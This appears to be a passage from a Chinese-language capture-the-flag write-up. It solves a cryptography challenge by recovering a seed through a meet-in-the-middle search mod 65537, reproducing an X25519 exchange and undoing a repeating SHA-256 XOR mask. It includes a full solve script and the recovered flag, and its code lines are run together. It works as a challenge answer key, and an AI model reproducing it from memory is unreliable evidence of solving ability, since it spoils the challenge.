from hashlib import sha256, sha512import base64 from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey, X25519PublicKey seed = b"aGFjyHX1aWdadade"peer_pub = bytes.fromhex("32451287abcd112233445566778899aabbccddeeff0011223344556677889900")target = bytes.fromhex("621e27e55f647db4")burn = 0xC350 peer = X25519PublicKey.from_public_bytes(peer_pub) candidates = {    "seed|pad0": seed.ljust(32, b"\x00"),    "seed|repeat": (seed * 2)[:32],    "sha256(seed)": sha256(seed).digest(),    "sha512(seed)[:32]": sha512(seed).digest()[:32],}  def burn_sha256(x, n):    for _ in range(n):        x = sha256(x).digest()    return x  for name, raw in candidates.items():    # burn 在交换前    pre_priv = burn_sha256(raw, burn)    pre_shared = X25519PrivateKey.from_private_bytes(pre_priv).exchange(peer)    pre_mid = sha256(pre_shared).digest()[:8]    if pre_mid == target:        print("[hit] burn before exchange")        print("compress =", name)        print("priv    =", pre_priv.hex())        print("shared  =", pre_shared.hex())        print("mid     =", pre_mid.hex())     # burn 在交换后    post_shared = X25519PrivateKey.from_private_bytes(raw).exchange(peer)    post_mid = burn_sha256(post_shared, burn)[:8]    if post_mid == target:        print("[hit] burn after exchange")        print("compress =", name)        print("shared  =", post_shared.hex())        print("mid     =", post_mid.hex())

这一步只打中一条合理分支:

text
[hit] burn before exchangecompress = sha256(seed)priv    = b84f291a62a2275bee24a11672aa05d09190feafac1ae0a04b08e4b716517294shared  = f192366303a5836ce62ecadf4cf95845281ee8a6582d757cdabd1a57fe952473mid     = 621e27e55f647db4

这说明链路已经很清楚了:

  1. compress(seed) = sha256(seed)
  2. burn_counter 作用在交换之前
  3. 用 burn 后的 32 字节私钥去做 X25519
  4. task2.log 里的短串就是 sha256(shared)[:8]

最后一层:恢复 stream-mask

到这里我先做了一件很简单的事:既然 task2.log 正好等于 sha256(shared)[:8],那就自然把 session = sha256(shared) 当成真正的会话态。

然后 payload_mode = stream-masktask2.enc 长度是 36 字节,很像:

  • 先从 session 派生一个 32 字节掩码
  • 然后不够的部分继续重复或扩展

先试了最顺手的几种:

  • mask = sha256(session),直接重复
  • mask = sha256(session || counter) 做计数器扩展
  • mask = sha256(mask) 链式往后推

结果第一个就出了完整可读的 flag。

核心代码其实就几行:

python
from hashlib import sha256 task2_ct = bytes.fromhex("6cf6346bf78ab82fbb85f1c358f1f8724ad27c2117d1578ea429faaf559850b756c41750")shared = bytes.fromhex("f192366303a5836ce62ecadf4cf95845281ee8a6582d757cdabd1a57fe952473") session = sha256(shared).digest()mask = sha256(session).digest()stream = (mask * ((len(task2_ct) + len(mask) - 1) // len(mask)))[:len(task2_ct)]flag = bytes(a ^ b for a, b in zip(task2_ct, stream)) print("session =", session.hex())print("mask    =", mask.hex())print("flag    =", flag)

输出:

text
session = 621e27e55f647db45de3639d5e040220206a823be5f98a2ea68de942863cb9d3mask    = 3fb5602d8ce9cd5dcde0c3f66dc0c12d28a1094876b933fbcd4ca5cc3cfe0fd3flag    = b'SCTF{curve25519_bsuiahduie_cif_diqw}'

这里其实也能看出为什么 task2.logcheck 更重要:

  • task2.log 把正确的会话中间态直接钉住了
  • 一旦 session = sha256(shared) 这个分支被确认,后面的 stream-mask 实现就只剩下很少几种常见写法
  • 其中 sha256(session) 作为 32 字节 mask 循环异或,直接给出完整可读明文

所以最后 check 并没有成为必须条件,真正发挥“导航”作用的是 task2.log

完整解题脚本

python
from hashlib import sha256from itertools import combinations from cryptography.hazmat.primitives.asymmetric.x25519 import (    X25519PrivateKey,    X25519PublicKey,) P = 65537G = [    [18691, 60910, 34967, 39973, 19035, 37187, 51866, 9573, 34206, 31837, 36663, 15581, 16422, 57819],    [11667, 13751, 41547, 23880, 20585, 12917, 46355, 7717, 32872, 25345, 46220, 13866, 53243, 50805],    [16220, 55881, 36631, 57679, 28551, 17162, 3946, 65344, 3212, 42267, 60841, 49880, 44633, 19089],    [18901, 39174, 621, 50597, 59452, 31620, 4847, 15944, 43006, 33065, 30463, 22200, 50479, 54631],    [5562, 52005, 4351, 52309, 56447, 31193, 1109, 53932, 33312, 60296, 48727, 45487, 14012, 45746],    [14137, 27189, 18153, 29961, 33584, 31736, 35565, 45164, 35404, 47563, 7538, 5717, 16223, 47588],    [61384, 61685, 9965, 45032, 65201, 9014, 237, 38993, 42652, 41990, 39894, 61007, 57813, 48537],    [64524, 24795, 65507, 63038, 23925, 17840, 14111, 43504, 16657, 11821, 16266, 36944, 60398, 11834],    [61907, 26569, 40771, 2381, 3826, 65104, 9696, 9018, 5685, 19371, 10720, 1134, 61203, 47979],    [15049, 8342, 48238, 59123, 33582, 34156, 11463, 49681, 35010, 63955, 5217, 22094, 19986, 20630],    [6615, 65324, 64732, 24921, 22513, 26273, 20066, 43554, 26452, 36830, 39108, 27301, 62641, 38930],    [33536, 9116, 37031, 22587, 9266, 41551, 60886, 4721, 32889, 23594, 15054, 48166, 37204, 19804],    [24812, 41135, 17852, 53668, 32667, 47429, 27433, 32442, 65336, 25932, 10879, 21650, 57170, 8394],    [4853, 12589, 8067, 37380, 55866, 45408, 34310, 15249, 57440, 65209, 53049, 35615, 3078, 53389],    [53927, 28336, 14477, 53973, 34114, 58400, 21902, 58044, 57102, 4659, 42054, 28403, 43316, 19665],    [56455, 34996, 52442, 26704, 51866, 47535, 13963, 62243, 40958, 26639, 61102, 7399, 19090, 45495],    [15207, 40249, 20826, 52120, 63645, 31205, 27664, 45913, 53232, 27295, 29319, 47720, 29428, 24098],    [13371, 31134, 21590, 12540, 1310, 30242, 39572, 17281, 1136, 54865, 51987, 28798, 32981, 21754],    [52934, 48131, 49531, 52645, 45785, 61527, 31523, 57396, 53987, 4245, 30439, 28850, 3151, 50694],    [17642, 39236, 51448, 34064, 1893, 26245, 54401, 39203, 32893, 64504, 43544, 61662, 25172, 53710],    [39781, 25361, 59068, 44489, 50656, 36070, 18452, 56882, 35364, 45389, 50422, 37075, 1066, 63646],    [31322, 26697, 15921, 55618, 45904, 36628, 23579, 36378, 39279, 16985, 58141, 30542, 8534, 18520],    [981, 62758, 61028, 38909, 15957, 57567, 43904, 28628, 4916, 18264, 27691, 26331, 4962, 21442],    [14033, 15258, 59479, 40031, 52786, 58473, 1077, 63536, 34589, 17962, 39475, 58188, 59598, 62949],    [57557, 27502, 19971, 48769, 37593, 14051, 65119, 34009, 16361, 24215, 15483, 33760, 30667, 18734],    [33125, 45057, 2762, 54221, 14400, 52163, 56290, 55758, 29319, 22911, 41430, 9803, 32328, 36539],    [13281, 49312, 58537, 55144, 55839, 25697, 30735, 48493, 690, 51848, 1885, 42752, 12001, 6323],    [41600, 38021, 35974, 42244, 58381, 15335, 38059, 10903, 53150, 38099, 24342, 19309, 57184, 44134],    [16328, 42552, 55551, 7561, 31511, 30047, 378, 13645, 39617, 54418, 64032, 34256, 45779, 28414],    [1168, 36534, 32655, 4267, 63187, 22303, 16826, 7277, 11795, 24617, 52005, 38910, 65117, 44813],] TASK1_CT = bytes.fromhex("9e4647dc0affbb3b65a21037261b2123")TASK2_PUB = bytes.fromhex("32451287abcd112233445566778899aabbccddeeff0011223344556677889900")TASK2_CT = bytes.fromhex("6cf6346bf78ab82fbb85f1c358f1f8724ad27c2117d1578ea429faaf559850b756c41750")TASK2_LOG = bytes.fromhex("621e27e55f647db4")TASK2_BURN = 0xC350  def build_half(rows, offset):    buckets = {weight: {} for weight in range(6)}    for weight in range(6):        for comb in combinations(range(len(rows)), weight):            chosen = [rows[idx] for idx in comb]            for mask in range(1 << weight):                acc = [0] * 14                assign = [0] * 30                for bit, idx in enumerate(comb):                    sign = 1 if (mask >> bit) & 1 else -1                    assign[offset + idx] = sign                    row = chosen[bit]                    for col in range(14):                        acc[col] += sign * row[col]                key = tuple(value % P for value in acc)                buckets[weight][key] = tuple(assign)    return buckets  def recover_h():    left = G[:15]    right = G[15:]    left_buckets = build_half(left, 0)    for weight_right in range(5, 11):        need_left = 10 - weight_right        for comb in combinations(range(len(right)), weight_right):            chosen = [right[idx] for idx in comb]            for mask in range(1 << weight_right):                acc = [0] * 14                assign_right = [0] * 30                for bit, idx in enumerate(comb):                    sign = 1 if (mask >> bit) & 1 else -1                    assign_right[15 + idx] = sign                    row = chosen[bit]                    for col in range(14):                        acc[col] += sign * row[col]                target = tuple((-value) % P for value in acc)                assign_left = left_buckets[need_left].get(target)                if assign_left is None:                    continue                h = [assign_left[i] + assign_right[i] for i in range(30)]                if sum(1 for value in h if value) != 10:                    continue                if all(sum(h[i] * G[i][col] for i in range(30)) % P == 0 for col in range(14)):                    return h    raise RuntimeError("failed to recover h")  def task1_seed(h):    material = b"Curve_Link_Task1_Hard|P=65537|w=10|h=" + b",".join(str(x).encode() for x in h)    stream = b""    counter = 0    while len(stream) < len(TASK1_CT):        stream += sha256(material + counter.to_bytes(4, "big")).digest()        counter += 1    return bytes(a ^ b for a, b in zip(TASK1_CT, stream))  def task2_flag(seed):    state = sha256(seed).digest()    for _ in range(TASK2_BURN):        state = sha256(state).digest()    shared = X25519PrivateKey.from_private_bytes(state).exchange(        X25519PublicKey.from_public_bytes(TASK2_PUB)    )    session = sha256(shared).digest()    if session[:8] != TASK2_LOG:        raise RuntimeError("unexpected task2 session prefix")    mask = sha256(session).digest()    stream = (mask * ((len(TASK2_CT) + len(mask) - 1) // len(mask)))[: len(TASK2_CT)]    return shared, session, bytes(a ^ b for a, b in zip(TASK2_CT, stream))  def main():    h = recover_h()    seed = task1_seed(h)    shared, session, flag = task2_flag(seed)    print("h =", h)    print("seed =", seed.decode())    print("shared =", shared.hex())    print("session_prefix =", session[:8].hex())    print("flag =", flag.decode())  if __name__ == "__main__":    main()

输出:

text
h = [0, 1, 0, 0, -1, 1, 0, 0, 0, 1, 0, 0, 0, -1, 0, 0, 0, 1, 0, 0, -1, 0, -1, 0, 0, 0, 1, 0, -1, 0]seed = aGFjyHX1aWdadadeshared = f192366303a5836ce62ecadf4cf95845281ee8a6582d757cdabd1a57fe952473session_prefix = 621e27e55f647db4flag = SCTF{curve25519_bsuiahduie_cif_diqw}

FLAG

flag
SCTF{curve25519_bsuiahduie_cif_diqw}